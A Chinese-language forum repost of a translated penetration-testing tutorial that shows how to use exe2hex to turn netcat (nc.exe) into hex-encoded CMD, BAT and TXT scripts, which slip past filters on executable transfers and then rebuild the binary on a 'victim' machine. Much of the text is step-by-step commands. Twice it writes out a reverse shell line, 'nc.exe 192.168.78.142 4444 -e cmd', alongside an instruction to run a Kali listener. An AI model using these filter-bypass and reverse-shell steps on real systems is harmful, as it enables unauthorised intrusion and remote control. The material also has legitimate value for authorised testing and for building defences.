首页
社区
课程
招聘
[翻译][原创]绕过文件传输过滤器:Exe2Hex
发表于: 2022-3-5 11:56 1362

[翻译][原创]绕过文件传输过滤器:Exe2Hex

2022-3-5 11:56
1362

备注

作者: Harshit Rajpal

翻译:梦幻的彼岸

原文地址:https://www.hackingarticles.in/file-transfer-filter-bypass-exe2hex/


简介


Exe2hex是一个由g0tmilk开发的工具,可以在这里找到。该工具将EXE转录成一串十六进制字符串,这些字符串可以通过DEBUG.exe或Powershell还原成原始EXE文件。然后可以在受害者机器上执行这个脚本,再次构建一个EXE并执行它。这对于系统管理员阻止EXE文件的传输/下载/上传/电子邮件的高级渗透测试场景很有帮助。渗透测试人员可以使用这个工具绕过这些过滤器。在这篇文章中,我们展示了4种这样的方法。

目录

  • 背景介绍

  • Exe2hex CMD脚本(PoSH方法)

  • Exe2hex URL编码的CMD脚本(PoSH方法)

  • Exe2hex BAT脚本(DEBUG.exe方法)

  • Exe2hex STDIN到CMD脚本(PoSH方法)

  • Exe2hex TXT文件(DEBUG和PoSH方法)

  • 总结


背景介绍

DEBUG.exe是Windows中默认可用的可执行文件,帮助用户排除程序的故障。它还有一个功能,就是可以将一系列十六进制的字符串还原成一个可执行文件。通过Powershell也可以实现同样的功能。方法非常简单:

第1步:选择一个EXE

第2步:使用UPX对其进行压缩

第3步:使用exe2hex将其转换为一个包含十六进制字符串的文件

第4步:将该文件传输到受害者系统中

第5步:将文件还原为exe并执行

让我们从压缩一个exe文件开始。我们将使用一个名为UPX的工具。


正如你所看到的,有许多选项可以压缩一个文件。我们将使用-9过滤器,通常提供50%的压缩率。

upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe


注意:你可以通过使用exe2hex工具的-cc过滤器来实现同样的目的。

Exe2hex CMD脚本(PoSH方法)

现在我们的exe已经被压缩,我们可以使用exe2hex将其转换为cmd文件。这个cmd文件有多个十六进制的字符串,你可以在下面看到。已经创建了一个参数P,将这些转换后的十六进制字符串附加到一个名为 "nc.hex "的临时文件中。

exe2hex -x nc.exe -p nc.cmd
head nc.cmd


在文件的末尾,你可以看到一个Powershell命令,它正在将十六进制字符串恢复到exe文件中,并删除nc.hex。

tail -n 3 nc.cmd


Exe2hex URL编码的CMD脚本(PoSH方法)

我们在上面看到的可以重复使用。同样的脚本也可以用-e选项进行URL编码。

exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd


现在,我们可以将这个CMD文件转移到受害者系统,并使用命令提示符执行它。正如你可能观察到的,在执行完成后,会生成一个压缩后的nc.exe文件。

@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd


Exe2hex BAT脚本(DEBUG.exe方法)

到目前为止,我们已经看到了如何使用Powershell将十六进制还原成exe文件。以同样的方式,DEBUG.exe文件也可以被使用。Exe2hex可以像这样生成一个bat文件:

exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat


之后,你可以在windows上运行bat脚本,它将创建一个exe文件。如果它向你抛出一个错误,你需要在环境变量中添加DEBUG.exe的路径。正如你所看到的,nc.exe现在已经成为一个可执行文件了。

Exe2hex STDIN到CMD脚本(PoSH方法)

该工具还可以接受来自STDIN的输入。这在互联网上有一个可执行文件,需要使用curl/wget等工具下载,并且有过滤器来阻止它的情况下可能很有用。

cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd


-s过滤器选项负责从STDIN读取。用这个选项生成的cmd文件看起来有点不同,因为生成的文件名称是 "binary.hex",而最终的exe文件是 "binary.exe"

它现在可以运行了!

Exe2hex TXT文件(DEBUG和PoSH方法)

我们把最好的留到最后。该工具还可以转换EXE文件的十六进制字符串txt文件。这对于有高级过滤器的情况非常有用。

exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt


还有一个过滤器是-l过滤器选项,它指定了每一行的字节数。

exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt


现在,可以使用命令提示符在受害者机器上轻松地重命名该文件,或将其复制为不同的扩展名(可运行的脚本),然后像下面这样运行:

copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd


如果你尝试了上述的方法,你必须在你的kali机器上设置一个监听器,并尝试运行这个可执行文件。正如你所看到的,这个EXE文件已经正常工作了


总结

在渗透测试过程中,经历过许多场景,其中无论是代理还是WAF有一些文件的上传/下载过滤器。我们刚刚介绍了一种使用exe2hex绕过这些防御机制的方法。希望你喜欢这篇文章。谢谢你的阅读。

作者: Harshit Rajpal 是一名信息安全研究员和思想家,联系方式在这里




[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-3-25 16:21 被梦幻的彼岸编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 4134
活跃值: (5847)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2

英语几级啊

最后于 2022-3-25 15:42 被badboyl编辑 ,原因:
2022-3-25 15:41
0
游客
登录 | 注册 方可回帖
返回
//